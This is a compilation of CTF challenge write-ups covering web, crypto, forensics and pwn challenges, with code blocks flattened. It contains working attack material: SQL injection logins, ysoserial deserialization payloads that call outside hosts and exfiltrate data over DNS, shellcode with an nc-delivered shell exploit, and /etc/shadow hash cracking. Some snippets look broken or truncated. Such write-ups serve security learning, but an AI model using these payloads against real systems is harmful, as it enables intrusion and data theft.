### The Big StageWe search up SaintCon keynotes and find that NeverLAN keynoted in 2018
Unfortunately the SaintCon site is not 100% functional so we're stuck...
Then we guses that keynoting a conference is pretty cool and they must have posted something to commemorate the event on [their Twitter](https://twitter.com/NeverLanCTF).
They actually link us [their slides](https://twitter.com/NeverLanCTF/status/1044640438131388422)
The flag is right next to a picture of Rick Astley :p
### The LinkDuring the competition there were streams for music and the like. If we go under their music tab and select track #2 we see a YouTube video.
Exploring the comments reveals a flag that someone commented.
### Thats just PhreakyWe Google for `01 September 2017 | 14:01 phreak`.
We find the first [Darknet Diaries episode](https://darknetdiaries.com/episode/1/).
By some stroke of pure geniosity we right click to view the source code of the site and the flag is at the bottom.
## Web### Cookie Monster> https://challenges.neverlanctf.com:1110
The title hints that it has something to do with cookies.
When we visit the site, it says `He's my favorite Red guy`. We guess this to be `Elmo` from Sesame Street.
We look at the cookies, and find a cookie `Red_Guy's_Name: NameGoesHere`. We replace `NameGoesHere` with `elmo`.
We get the flag by refreshing the tab.
### Stop the Bot> https://challenges.neverlanctf.com:1140
The site looks pretty boring, so let's take a look at `/robots.txt`, which is hinted at by the title:```User-agent: *Disallow: /Disallow: flag.txt```
We navigate to `/flag.txt` for the flag.
### SQL Breaker> https://challenges.neverlanctf.com:1160/
Simple SQL injection in the login page.Note that the password does not matter, only the username is vulnerable.
The goal is to log in as an admin.
Payload:```Username: ' OR 1=1;-- Password: asdf```
Return to the home page for the flag.
### SQL Breaker 2> https://challenges.neverlanctf.com:1165/
Simple SQL injection in the login page.Note that the password does not matter, only the username is vulnerable.
The goal is to log in as an admin.
This time, there seems to be multiple accounts, and the previous payload logs us in as `John`, who is not an admin. We have to skip over John's account using SQL's `LIMIT` to log in as admin.
Payload:```Username: ' OR 1=1, LIMIT 1;-- Password: asdf```
Return to the home page for the flag.
### Follow Me> https://7aimehagbl.neverlanctf.com
This website redirects so many times your browser just gives up. We can use Python's `requests` module and the `follow_redirects=False` option:```pythonimport requestsp = requests.get("https://7aimehagbl.neverlanctf.com", allow_redirects=False)```On the first visit (using Python), the page states where it's redirecting. How convenient. How about we just follow the trail?
```pythonimport requests
url = "https://7aimehagbl.neverlanctf.com"
while True: p = requests.get(url, allow_redirects=False) print(p.text) url = "https://" + p.text.split()[-1]```
The flag is in one of the sites that we get redirected to.
### Browser Bias> https://challenges.neverlanctf.com:1130
When we try to visit the site normally, it says that the site is only for `commodo 64` browsers.
We guess that the server tells what browser we are using based on the User-Agent header of the request.
When we Google for Commodo 64 browsers, we end up with a browser named `Contiki`. We search for the Contiki User-Agent.
We find a [really long list of User-Agents](https://gist.github.com/dstufft/2502524) that ever downloaded something from PyPI on GitHub Gists, and we Ctrl-F for Contiki.
We find the User-Agent for Contiki as `Contiki/1.0 (Commodore 64; http://dunkels.com/adam/contiki/)`.
We set that as our User-Agent using Python's `requests`, and request the home page, which gives us the flag.
## Chicken LittleWe basically have to ssh onto a server and retrieve the flag from it. We start from Chicken Little 1. We use the flag from Chicken Little 1 as the password for the ssh onto Chicken Little 2, etc.
### Chicken Little 1Use an `ls` and find `Welcome.txt`.Read the file for the flag.
### Chicken Little 2Use an `ls -a` (-a flag to show hidden files) and find `.chicken.txt`.Read the file for the flag.
### Chicken Little 3We find `BAWK.txt` with a bunch of "BAWK"s in it. Knowing the password format we guess that this password also has a `-` in it, so we grep for `-` in the file for the flag.
### Chicken Little 4We find a binary file with the flag presumably hidden in it. We can use `strings` to first extract the printable strings, then grep for `-` in it, which gives the flag.
### Chicken Little 5We can use `binwalk -e` to extract files from the file, giving us a file with the flag.
### Chicken Little 6We can use `scp` to transfer the file to our local machine since `curl` was removed.
`scp -P 3333 [email protected]:~/chicken-little.png .`
The flag is visible in the image.
### Chicken Little 7We are told we need to find the password to the user `level7` on the system. We read `/etc/shadow` for the `level7` password hash.
We generate a wordlist of all possible 4-character combinations using `crunch 1 4 > pass.txt`.
We can use `hashcat -m 1800 -a 0 h.hash pass.txt` to eventually break the hash (it was supposed to take ~15 minutes).
I used a brute-force script on a remote server because my 2011 mac really did not like running SHA512 a lot of times.
## Trivia### Milk Please> Trivia Question: a reliable mechanism for websites to remember stateful information. Yummy!>It's talking about cookies, which is the flag.### Professional Guessing> The process of attempting to gain Unauthorized access to restricted systems using common passwords or algorithms that guess passwords
Google the description.
An article defines the description for the term "password cracking", which is the flag.### Base 2^6> A group of binary-to-text encoding schemes that represent binary data in an ASCII string format by translating it into a radix-64 representation
`Radix-64` basically tells us that the flag is base64.
### AAAAAAAAAAAAAA! I hate CVEs> This CVE reminds me of some old school exploits. If flag is enabled in sudoers
We Google `If flag is enabled in sudoers cve` and find [this site](https://www.exploit-db.com/exploits/47995), which has the flag in it.
### Rick Rolled by the NSA> This CVE Proof of concept Shows NSA.go<span>v</span> playing "Never Gonna Give You Up," by 1980s heart-throb Rick Astley.Use the CVE ID for the flag. flag{CVE-?????????}
I remember seeing this as a meme on Reddit :laughing:Googling the description gives news articles detailing the correct CVE ID for the flag. |
# Defiltrate – Part1
## Description
Our company has been victim of a Ransomeware that damaged our "Secure share" website. Access to "Secure share" has been partially restored and traces of the malware have been deposited on it.
Can you help us retrieve our files?
http://defiltrate.insomnihack.ch/
## Task
Task was corrupted and we pass the stage with SQL Injection in Cookie, that give us credentials to login.
Main POST request with vulnerability:
```POST / HTTP/1.1Host: defiltrate.insomnihack.chUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 242Origin: https://defiltrate.insomnihack.chConnection: closeReferer: https://defiltrate.insomnihack.ch/Cookie: PINKYID=3d736b46da3149f488c76295c7dece42Upgrade-Insecure-Requests: 1
VIEW=rO0ABXNyAApXZWJTZXNzaW9uAAAAAAAAAAECAARMAAxtX2I2NFBheWxvYWR0ABJMamF2YS9sYW5nL1N0cmluZztMAAdtX2xvZ2lucQB%2bAAFMAAptX3Bhc3N3b3JkcQB%2bAAFMAAttX3Nlc3Npb25JRHEAfgABeHB0AARqYWNrdAAFYWRtaW50ABVJIGxvdmUgcGluayBwb25pZXMgPDN0AAI0Mg%3d%3d&get=&rm=```
Here we can see that the VIEW parameter has a base64 encoded value starting with rO0AB which is the beginning of base64 encoded java serialized object:
First, we tried to view what the object holds, so we used a tool called [SerializationDumper](https://github.com/NickstaDB/SerializationDumper).
We got an object containing 4 properties, the first part of the deserialization output contains some information about the object and its properties (type,name,length,..etc), scrolling down the output we can see the values of the properties:
```values m_b64Payload (object) TC_STRING - 0x74 newHandle 0x00 7e 00 03 Length - 0 - 0x00 00 Value - - 0x m_login (object) TC_STRING - 0x74 newHandle 0x00 7e 00 04 Length - 5 - 0x00 05 Value - admin - 0x61646d696e m_password (object) TC_STRING - 0x74 newHandle 0x00 7e 00 05 Length - 21 - 0x00 15 Value - I love pink ponies <3 - 0x49206c6f76652070696e6b20706f6e696573203c33 m_sessionID (object) TC_STRING - 0x74 newHandle 0x00 7e 00 06 Length - 2 - 0x00 02 Value - 42 - 0x3432```
Trying the unsafe deserialization with ysoserial payload `CommonsBeanutils1` give the successful result.
```java -jar ysoserial.jar CommonsBeanutils1 'curl empty.jack.su' | base64 -w0```
### The solution 1
Source: https://r3billions.com/writeup-defiltrate-part1/
We got a DNS request to our bin, but in fact there was a firewall in place so we couldn't establish an OOB communication in a way other than DNS.
We started trying to execute commands using command substitution as subdomains to our DNS bin like $(whoami) or using back ticks but for some reason they were escaped (Cause Runtime.exec from CommonsBeanurils1 payload do tokenization of command and execute exec with arguments.) and sent as is without execution, we tried to use nslookup ourdns.com|bash sending a request to our DNS server with a customized response but the piping in this case didn't work too.
After some trial and error we could leak data using these 2 commands in separate payloads
```python -c open('/tmp/exfilterate','w').write(__import__('os').popen('ls').read().replace('\n','-')[:62]+'.6ec8bf6181774bda185e.d.requestbin.net')```
and
```dig -f /tmp/exfilterate```
Note: spaces were not allowed in the python payload for some reason so we replaced it with chr(32)
The first payload runs a python code that executes bash commands and appending the result to a DNS bin domain then writes it to a file. The second one executes a dig on the content of the file.
Executing the following command `grep -rnw '/' -e INS`
```python -c open('/tmp/exfilterate','w').write(__import__('os').popen('grep'+chr(32)+'-rnw'+chr(32)+'/'+chr(32)+'-e'+chr(32)+'INS').read().replace('\n','-')+'.7d62a86d9d50bc553648.d.requestbin.net')```
Resulted in a DNS request with the flag:
### The solution 2
Helpful links: - https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html?m=1- https://www.gnu.org/savannah-checkouts/gnu/bash/manual/bash.html#Special-Parameters
If you happen to have command execution via Java's `Runtime.exec` on a Unix system, you may already have noticed that it doesn't behave like a normal shell. Although simple commands like `ls -al`, `uname -a`, or `netstat -ant` work fine, more complex commands and especially commands with indispensable features like pipes, redirections, quoting, or expansions do not work at all.
Well, the reason for that is that the command passed to `Runtime.exec` is not executed by a shell. Instead, if you dig down though the Java source code, you'll end up in the UNIXProcess class, which reveals that calling `Runtime.exec` results in a `fork` and `exec` call on Unix platforms.
So if we want execute bash command using `sh -c` we have to know the following:
That is correct, but here is the catch: Since only the first argument following `-c` is interpreted as shell command, the whole shell command must be passed as a single argument. And if you take a closer look at how the string passed to `Runtime.exec` is processed, you'll see that Java uses a `StringTokenizer` that **splits the command at any white-space character**.
So, what is the other option that we have?
The key is in the `sh -c command`, but we won't execute the command directly but build a command that itself spawns another shell that then executes our command. Though it sounds complicated, we'll derive it step by step.
The secret key to this is the [special parameter](http://www.gnu.org/software/bash/manual/bashref.html#Special-Parameters) `@`, which expands to the positional parameters when referenced with `$@`, starting from parameter one: `sh -c $@`
But how do we pass the actual command? Well, if the [shell is invokedwith `-c`](http://www.gnu.org/software/bash/manual/bashref.html#Invoking-Bash), any remaining arguments after the command argument are assigned to the positional parameters, starting with `$0`. So when `$@` is expanded by the shell with the following invocation:
$ java Exec 'sh -c $@ 0 1 2 3 4 5'
It results in `1 2 3 4 5`. The 0-th parameter does not appear in the expansion result as it, by convention, should be the file name associated with the file being executed. We can see the result by adding a `echo` in place of the `$1` parameter:
$ java Exec 'sh -c $@ 0 echo 1 2 3 4 5'
Here the shell first expands `$@` to `echo 1 2 3 4 5` and then executes it.
But this is still not better than the simple `sh -c command`, as we still have no support of pipes, redirections, quoting or expansion.
The reason for this is that the `$@` expansion does not result in a restart of the command interpretation.
The solution to a fully functional shell is `sh`\'s ability to allow the commands to be passed via standard input. So, if we use another `echo` to echo our command and pipe it to `sh`, we\'ll get our *command* executed by `sh` entirely:
$ java Exec 'sh -c $@|sh . echo command'
Now we have all shell features available!
And we could create one line command to find flag in OS:
Get pwd:```java -jar ysoserial.jar CommonsBeanutils1 'sh -c $@|sh . echo echo 0 > /tmp/exf; cont=$(pwd); echo $cont.empty.jack.su >> /tmp/exf; dig -f /tmp/exf' | base64```
Find flag:```java -jar ysoserial.jar CommonsBeanutils1 'sh -c $@|sh . echo echo 0 > /tmp/exf; for cont in $(grep -r INS /opt/defiltrate/* 2>/dev/null); do echo $cont.empty.jack.su >> /tmp/exf; done; dig -f /tmp/exf' | base64```
The flag:INS{DEFILTRATE-F!RST-FLAG__BE-BRAVE,-THE-END-IS-NEAR} |
# Kimi No Na Wa
As usual, first tried out SQL injection on the Login field but to no avail.
Register a new user with username as the 'SQL injection payload' and any passwordThe payload used was `'or'1'='1`Any simple payload will suffice
On logging in after that the following page was displayed
We observe that all the value from the 'reciever' column are fetched and displayed. The executed query is also visible.
Now a new payload can be designed to display all the usernames from the table. The payload I used was `' UNION SELECT username FROM kimimsg WHERE username LIKE '%`This displays the usernames. Ensure that while crafting the payload, the query returns only a single column.(The php script will only render a single column of data).
Next I tried out various possible column names to print:- msg, messages, message and finally on providing the following payload, got the output with flag.`' UNION SELECT message FROM kimimsg WHERE message LIKE '%`
The flag is p_ctf{new0b51} |
# SecureLinearFunctionEvaluation
## Challenge
> In this challenge we provide a sytem that calculates a * x + c in F_2^128 , where a and b are server supplied and x is client supplied. > To get the flag you have to find a and b. Server runs at: >> ```nc crypto2.ctf.nullcon.net 5000```>> file: [lfe.py](lfe.py)
### Solution
Let us analyze the server code. Two 128bit numbers *a*, *b* are generated. Then we get 128 ```cs``` random values that constrain our input *(g, y0, y1)*:
```math(y0 * y1) % p == cs```
Ok, so what happens to out input? For every set, the program gets random 2 numbers r0, r1 (mod p). Calculate and return to us *(c0, c1)*:```mathm0 = b[i]m1 = (a[i] + b[i]) % 2c0 = ( pow(g, r0, p), int(sha256(long_to_bytes(pow(y0, r0, p))).hexdigest(), 16) ^ m0 )c1 = ( pow(g, r1, p), int(sha256(long_to_bytes(pow(y1, r1, p))).hexdigest(), 16) ^ m1 )```
So *m0* is just a bit from the *b* value. *m1* on the other hand is simply *xor* of *a* and *b*, then: ```a[i] = m1 ^ m0```.
To get b[i] I should know last bit of ```int(sha256(long_to_bytes(pow(y0, r0, p))).hexdigest(), 16)```. And I will know this if ```g == y0```, I will get ```pow(g, r0, p)``` from the server answer and sha256 it, convert to hex and compare with second item in the c0 pair to get *m0*. Ok, we have *b*. What with *a*? The trick with ```g == y0```, cannot be used second time, because of the assert: ```(y0 * y1) % p == cs```. How to know in advance the result of ```pow(y1, r1, p)```? Use ```y1 = 1```, it will always gice you *1*. So, what about assertion? If ```y1 == 1```, then *y0* should be *cs*, and *g* also *cs*.
```python...inp = " ".join([f'({c},{c},{1})' for c in cs])conn.sendline(inp)...```
When we get the result from the server we can do the math:
```python...b = []a = []one_hash = int(sha256(long_to_bytes(1)).hexdigest(), 16)for i in range(len(data)): c0, c1 = data[i] g_powered, y0_hash = c0 g_hash = int(sha256(long_to_bytes(g_powered)).hexdigest(), 16) bi = g_hash ^ y0_hash b.append( bi ) _, y1_hash = c1 a.append( one_hash ^ y1_hash ^ bi )
print(a)print(b)``` |
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|
This was a fun one. We start off with a web page and get a foothold with an arbitrary file read vulnerability, and end it off with a Python Flask Arbitrary Code Execution in the web debugger. |
Since it's ASCII, we need to create correct value in order to process it.
```pythonimport base64
decode = "8951116499911082102898878115975057102908657109985070102908786108885053110907210811910072108102908710451975182112885057105102816161"asci = []
x = 0while x < len(decode): if int(decode[x]) == 1: asci.append(chr(int(decode[x] + decode[x+1] + decode[x+2]))) i = 3 else: asci.append(chr(int(decode[x] + decode[x+1]))) i = 2 x += i pass
print("".join(asci))print("base64 decode: " + str(base64.b64decode("".join(asci))))```
Let's run the script and get the decoded string:
```bash$ python ascii.pyY3t1cnRfYXNsa29fZV9mb2FfZWVlX25nZHlwdHlfZWh3a3RpX29ifQ==base64 decode: b'c{urt_aslko_e_foa_eee_ngdypty_ehwkti_ob}'```
Ok, we got some clear text but shuffled. After some looking after Rail-fence and try all ROT possibilities, we split the sting in three parts:
```pty_ehwkti_ob}_foa_eee_ngdyc{urt_aslko_e```
If you read by column, you have the flag: `p_ctf{you_are_the_weakest_link_good_bye}`. |
# Zelda Adventures
By [BaptisteBdn](https://github.com/BaptisteBdn)
## DescriptionThis category contained 4 challenges, all based on an unity game. The first three challenges were based on the same game while the fourth one (that was released later) is on a different game and will not be covered in this writeup.
To get the three flag we had to :
- Kill one NPC- Swim into the pond- Go to the end of the jungle
## Solution
The file provided are the .exe file that start the game and all the .dll use for the game.When you start the .exe file, you arrive in the world of Zelda Adventures, be careful to put the screen resolution at 800*600.
The first thing to do is to kill an NPC, if you try you will see that they are immortal, in order to change that I used dnSpy, an assembly editor, to modify the game.To do so, open the Assembly-CSharp file with dnSpy.
Open the class `Enemy` and take a look at the function `TakeDamage`, we can easily modify it to instantly kill the NPC when it takes damage, just remove the `if` :
```private void TakeDamage(float damage){ this.health -= damage; base.StartCoroutine(this.ShowSome()); base.gameObject.SetActive(false);}```
When the NPC dies, the flag appears on top :
The second and third challenges need you to access places you shouldn't be able to. In order to do that, increase the movement of the character by modifying the `MoveCharacter` function in `PlayerMovement`.
```private void MoveCharacter(){ this.change.Normalize(); this.myRigidbody.MovePosition(base.transform.position + this.change * this.speed * Time.deltaTime * 2);}```
You will now be able to glitch through walls and get the other two flags. For the first one, glitch into the pond to be teleported to the flag.
For the last go into the jungle and follow the obstacle, your speed will glitch through everything and you will be able to see the third flag.
 |
# nullcon HackIM 2020
## pwn / 100 - meek boi
### Solution
By [@jaidTw](https://github.com/jaidTw)
This challenges accepts some shellcode, then it will fork a child to execute it, but `stdin`, `stdout`, `stderr` are all redirect to `/dev/null` so it looks like we have no input and output. Actually there are no any seccomp constraints, just open a socket connect to my machine and spawn a reverse shell, that's all.
[sol.py](./sol.py) |
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# barcoder (forensics/101, 51p, 37 solved)
Zero technicall challenge here, just tedious manual work.We get a picture:
The goal is to recover the barcode and decode it.There is nothing special really, we cut out the barcode, used stegsolve to get just one color channel to get rid of all the surroudings, and then simply painted back the missing lines.For each line there is at least a fraction left, so it's always clear how thick to make it.Finally we arrive to:
And ZXing gives us the flag: `CTF{way_too_common}` |
# Toast clicker 2 (204p, 15 solved)
The second flag is slightly more complex:
```java public String printSecondFlag() { String output = BuildConfig.FLAVOR; String keyPart1 = BuildConfig.KEY_PART1; String keyPart2 = getString(C0275R.string.key_part2); StringBuilder sb = new StringBuilder(); sb.append(keyPart1); sb.append(keyPart2); sb.append(keyStringFromJNI()); try { return new helper(sb.toString()).decrypt(encryptedStringFromJNI()); } catch (Exception e) { e.printStackTrace(); return output; } }```
We need 3 parts of the key.First one is in `BuildConfig.java`:
```javapublic static final String KEY_PART1 = "742375c48a7";```
Second one we can get from `/resources/res/values/strings.xml`:
```xml<string name="key_part2">0da605b16</string>```
The last one comes from a native library in the project.If you're not feeling like reversing a native lib, in this special case you don't really have to.Since the value comes from just calling a function, you can create a new android NDK project, add this lib and simply call the function.Here it's not necessary since the native lib just prints a static string:
``` 0012d4c0 34 ?? 34h 4 0012d4c1 00 ?? 00h 0012d4c2 00 ?? 00h 0012d4c3 00 ?? 00h 0012d4c4 39 ?? 39h 9 0012d4c5 00 ?? 00h 0012d4c6 00 ?? 00h 0012d4c7 00 ?? 00h 0012d4c8 63 ?? 63h c 0012d4c9 00 ?? 00h 0012d4ca 00 ?? 00h 0012d4cb 00 ?? 00h 0012d4cc 39 ?? 39h 9 0012d4cd 00 ?? 00h 0012d4ce 00 ?? 00h 0012d4cf 00 ?? 00h 0012d4d0 62 ?? 62h b 0012d4d1 00 ?? 00h 0012d4d2 00 ?? 00h 0012d4d3 00 ?? 00h 0012d4d4 37 ?? 37h 7 0012d4d5 00 ?? 00h 0012d4d6 00 ?? 00h 0012d4d7 00 ?? 00h 0012d4d8 31 ?? 31h 1 0012d4d9 00 ?? 00h 0012d4da 00 ?? 00h 0012d4db 00 ?? 00h 0012d4dc 31 ?? 31h 1 0012d4dd 00 ?? 00h 0012d4de 00 ?? 00h 0012d4df 00 ?? 00h 0012d4e0 38 ?? 38h 8 0012d4e1 00 ?? 00h 0012d4e2 00 ?? 00h 0012d4e3 00 ?? 00h 0012d4e4 65 ?? 65h e 0012d4e5 00 ?? 00h 0012d4e6 00 ?? 00h 0012d4e7 00 ?? 00h 0012d4e8 36 ?? 36h 6 0012d4e9 00 ?? 00h 0012d4ea 00 ?? 00h 0012d4eb 00 ?? 00h 0012d4ec 31 ?? 31h 1 0012d4ed 00 ?? 00h 0012d4ee 00 ?? 00h 0012d4ef 00 ?? 00h```
The function there might look a bit daunting, but it simply prints out UTF string.
So we have all 3 parts of key -> `742375c48a70da605b1649c9b7118e61`.Now the code takes another string the library, but again this is just hardcoded string:
``` s_MwDxTPEvfSLms0PVdgxjYwgpgN8Y8Xj3_0012d4f1 XREF[1]: Java_com_ctf_toast_MainActivity_ 0012d4f1 4d 77 44 ds "MwDxTPEvfSLms0PVdgxjYwgpgN8Y8Xj3Hrkw9pFkV6o=" 78 54 50 45 76 66 ```
So we just grab the string `MwDxTPEvfSLms0PVdgxjYwgpgN8Y8Xj3Hrkw9pFkV6o=`.
Now the flag is getting decrypted by some function from `helper.java` class.Again, we could just run the original code, but we can also have a look there:
```javapublic class helper { private Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); private SecretKeySpec key = initKey(); private String passphrase;
public helper(String passphrase2) throws Exception { this.passphrase = passphrase2; }
public SecretKeySpec initKey() throws Exception { return new SecretKeySpec(Arrays.copyOf(MessageDigest.getInstance("SHA-1").digest(this.passphrase.getBytes("UTF-8")), 16), "AES"); }
public String encrypt(String plaintext) throws Exception { byte[] plaintextBytes = plaintext.getBytes(); this.cipher.init(1, this.key); return Base64.encodeToString(this.cipher.doFinal(plaintextBytes), 2); }
public String decrypt(String ciphertext) throws Exception { byte[] ciphertextBytes = Base64.decode(ciphertext.getBytes(), 2); this.cipher.init(2, this.key); return new String(this.cipher.doFinal(ciphertextBytes), "UTF-8"); }}```
It simply derives AES-ECB-128 key using `SHA-1` and decrypts the base64 decoded data.We can do the same via:
```pythonimport hashlib
from Crypto.Cipher.AES import MODE_ECBfrom Cryptodome.Cipher import AES
def main(): key = '742375c48a70da605b1649c9b7118e61' ct = "MwDxTPEvfSLms0PVdgxjYwgpgN8Y8Xj3Hrkw9pFkV6o=".decode("base64") aes = AES.new(hashlib.sha1(key).digest()[:16], MODE_ECB) print(aes.decrypt(ct))
main()```
And we get another flag `CTF{T00_Many_S3cr3t5}` |
# RIPC4 - BSidesSF 2020 CTF (crypto/pwn, 484p, 3 solved)## Introduction
RIPC4 is a crypto/pwn task.
It consists of two files : `ripc4.c` and its compiled version, `ripc4`.
The binary can print a string, perform hex/base64 encoding or encrypt it withRC4.
## Source code analysis
The source code uses a structure with a function to perform base64 and hexencoding. There is no menu to print when encrypting with RC4. An union thatcontains the function or the RC4 state is used:
```cunion { void (*print_encoded)(const char *, size_t); char *enc_state;};```
The RC4 encryption allocates its state with `secure_malloc`. This functionallocates a new memory page as `PROT_RW`.
`PROT_RW` is set to `PROT_READ | PROT_WRITE | PROT_EXEC`, so `secure_malloc`will allocate a page that is readable, writable and executable.
```c#define PROT_MASK (PROT_READ|PROT_WRITE|PROT_EXEC)#define PROT_RW (PROT_MASK|PROT_READ|PROT_WRITE)```
On top of that, even though `print` does not appear in the menu, it is possibleto use it with RC4. This will execute the RC4 state as a shellcode.
## Shellcode
RC4's state is of size 256. It contains every bytes between 0x00 and 0xFF(included). It is not possible to have the same byte twice.
This will cause a problem because `/bin/sh` contains two `/`. It requires theshellcode to modify itself. Using 64-bits registers will cause an other problembecause instructions will be prefixed with `48`.
The easiest way to overcome these problem is to write a short shellcode thatcalls `read` to read a second-stage shellcode that will be free of anyconstraints.
```assembler31 ff xor edi,edif7 e7 mul edi48 89 ce mov rsi,rcx // rcx contains the begining of this rwx pageb6 04 mov dh,0x40f 05 syscall // read(0, page, 0x400)```
The crypto guy wrote a script to find an RC4 key that will generate an RC4state starting with a specific shellcode (cf. crypto.py)
The second stage shellcode is a classic `execve("/bin/sh", NULL, NULL)`shellcode. It has to be padded with the size of the first shellcode.
```assembler48 8d 3d 0a 00 00 00 lea rdi,[rip+data]31 f6 xor esi,esi31 d2 xor edx,edx31 c0 xor eax,eaxb0 3b mov al,0x3b0f 05 syscall
data:2f 62 69 6e "/bin"2f 73 68 00 "/sh\0"```
Everything can be put together. The flag is located in `/home/ctf/flag.txt`.
```$ ./pwn.shtype (plain, encoded, encrypted)>set_input : Set the input valueset_key : Set the RC4 key.encrypt : Perform encryption.quit : Quit the Program
command> key (hex)> Key has been set.
set_input : Set the input valueset_key : Set the RC4 key.encrypt : Perform encryption.quit : Quit the Program
command> iduid=1000(ctf) gid=1000(ctf) groups=1000(ctf)cat /home/ctf/flag.txtCTF{R.I.P_RC4_u_were_fun_while_it_lasted}```
**Flag**: `CTF{R.I.P_RC4_u_were_fun_while_it_lasted}`
## Appendices
### crypto.py```pythonimport random
state = range(256)target = range(256)
shellcode = [0x31, 0xff, 0xf7, 0xe7, 0x48, 0x89, 0xce, 0xb6, 0x04, 0x0f, 0x05]target = filter(lambda c: not c in shellcode, target)
random.shuffle(target)#state)target = shellcode + target
print(state)print(target)
key = ''jval = 0
for i in range(256): tnode = target[i] tgval = state.index(tnode) oldjval = jval res = tgval res += 1024 res -= jval res -= state[i] jval = tgval & 0xFF key += hex(res & 0xFF)[2:].zfill(2) assert (oldjval + state[i] + int(key[-2:], 16)) & 0xFF == jval state[i], state[jval] = state[jval], state[i]
print(key)```
### pwn.sh```sh#!/bin/sh(echo encryptedecho set_keyecho 31cdf6ed5d3c3fe18abe70a15dc174d991fa989bbd8c7f3e62a2d913fb185e0c52e13c1fd04a26dd64f57ec57761fedd8e8223e83de793085c3af9a28509c89dea6fd99eedd98ec407ee380dd3b9f796d1713754abe368b621a35cbcf176600a92fb50f267b9ace97da8c3c6dd73bd6756686e458896cf7b8fc7b527f1bda8981fd3aebc95a083aa8cd94aaf999aff4994c2b2c612ffa8891d9fbcb1231f45c9d85bdc5561c21a57d5647b52babf93609bbb23b4254b293b633f5d542a78c2d5879146a96d4f7c4c95b351b7b947037add50d4a33bd67185289328419bc5ad5bf9d0d0d946cdae9a10db2167e9f885a76a22e0c121dac6dca09e4f689966b5b3echo print
sleep 1
printf '90 90 90 90 90 90 90 90 90 90 90 31 f6 f7 e6 48 8d 3d 04 00 00 00 b0 3b 0f 05 2f 62 69 6e 2f 73 68 00' | xxd -r -pscat -) | nc ripc4-42d6573e.challenges.bsidessf.net 8267``` |
# Mpfrag (forensics, 423p, 7 solved)
A rather confusing forensics task.I'm under the impression we solved this somehow not the intended way...
We get a file `disk.bin: Linux rev 1.0 ext2 filesystem data, UUID=07a34ef3-2282-447d-b2fd-1ade0b320153 (large files)`
By running binwalk on this we get an [encrypted zip](https://raw.githubusercontent.com/TFNS/writeups/master/2020-02-23-BSidesSF/mpfrag/test.zip) which contains file `cloud_flag.jpg`.Seems like a good starting point.
The challenge name and description says something about MPEG so we looked for mpg markers in the given disk image, and there were some, so we carved this out with hexeditor and got a [video](https://raw.githubusercontent.com/TFNS/writeups/master/2020-02-23-BSidesSF/mpfrag/test.mpg).
The video clearly shows a password of some kind: `SF-G0lden-Gl0w-1848`.And this password actually works almost fine for the ZIP.
There are some errors but we managed to get the [output jpg](https://raw.githubusercontent.com/TFNS/writeups/master/2020-02-23-BSidesSF/mpfrag/cloud_flag.jpg).The file seems to be broken somehow (perhaps the zip was not carved properly?) but we managed to open it anyway in some fancy image software.
It was only displaying the top half of the flag: 
With our unprecedented guessing skills we managed to figure out the flag: `CTF{bridge_ext2_gaps}` |
# Decrypto-2 (crypto, 65p, 26 solved)
In the challenge we get an [encryption algorithm](https://raw.githubusercontent.com/TFNS/writeups/master/2020-02-23-BSidesSF/decrypto2/decrypto.py) and [encrypted svg](https://raw.githubusercontent.com/TFNS/writeups/master/2020-02-23-BSidesSF/decrypto2/flag.svg.enc).
The algorithm is a simple stream cipher.The keystream is generated using:
```python def __init__(self, key): super(HashCrypto, self).__init__(key) self._blk = self.key self._blkid = 0
def _extend_buf(self): self._blk = hashlib.sha256( self._blk + struct.pack('<I', self._blkid)).digest() self._blkid += 1 self._buf += self._blk```
Keystream block comes from sha256 hashing of previously generated keystream block plus block counter, with secret `key` as IV.Since the next block depends only on the previous block (and first block on `key`) it's clear we could technically `start` keystream generation from any block, assuming we know the previous block and we know the number of the block.
The key observatin is that we don't need to start from the `key` - we can just as well start generating keystream from second block.For this we need to know the first keystream block, but since it's a stream cipher, the ciphertext is `plaintext XOR keystream`.If we can guess the first block of plaintext, we can use XOR to recover the keystream for first block.
We know that the input is SVG file, so we tested out all possible SVG file prefixes we could find and finally we managed to get the right one: `<?xml version="1.0" encoding="UTF-8" standalone="no"?>`
Once we have that it's trivial to recover the flag:
```pythondata = open("flag.svg.enc", 'rb').read()prefix = ''keystream = xor_string(data, prefix[:32])crypter = HashCrypto(keystream)# move keystream generation one block furthercrypter._blkid = 1crypter._blk = keystreamcrypter._buf = keystreamopen("out.svg", 'wb').write(''.join(crypter.encrypt(data)))```
And we get `CTF{but_even_I_couldnt_break_IT}` |
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# Haystack (crypto/forensics/re, 401p, 8 solved)
A very nice crypto challenge.We get a [pyc file](https://raw.githubusercontent.com/TFNS/writeups/master/2020-02-23-BSidesSF/haystack/chaffing.pyc) with some crypto code, and [network capture](https://raw.githubusercontent.com/TFNS/writeups/master/2020-02-23-BSidesSF/haystack/message.pcap) with transmission of encrypted data.
The forensics part is trivial. There is literally just one data stream in the pcap, so we simply use `follow TCP stream` feature from wireshark and save the entire [payload](https://raw.githubusercontent.com/TFNS/writeups/master/2020-02-23-BSidesSF/haystack/data.bin).
The reverse part is equally simple, we can just run `uncompyle6` on the provided pyc and recover the source code.There were some small issues with py2/py3 string vs. bytes but eventually we have [working code](https://raw.githubusercontent.com/TFNS/writeups/master/2020-02-23-BSidesSF/haystack/chaffing.py)
The code is quite simple to understand:
1. `Encryption` works one byte of plaintext at a time.2. For each byte a `signature` is calculated, using `hmac with sha256` (with secret key) and leaving `16 bytes` of it.3. Then 31 `fake` bytes are selected at random, and a random 16 bytes `fake signature` is generated for each of them.4. Finally all those 32 pairs `byte, signature` are shuffled, and appended to the resulting ciphertext
The decryption process for given byte is quite straightforward as well:
1. Extract 32 pairs `byte, signature`2. For each one calculate hmac for given byte and compare with the `signature`, the one that matches is the `real` byte.
We don't know the hmac key, so we can't use this method to distinguish between real and fake signature.However, notice that there is no randomness here, no byte counter included in the hmac signature.This means we have a ECB-like encryption here.Every time you encrypt byte `X`, it will have the same signature!
This means that for example every `real` byte `a` will have signature `sig_a`, whereas `fake` bytes have random signatures.We can, therefore, get list of all signatures for each byte, and then count how often each one of them appears.The real one should be significantly more common, and therefore we can easily spot it.
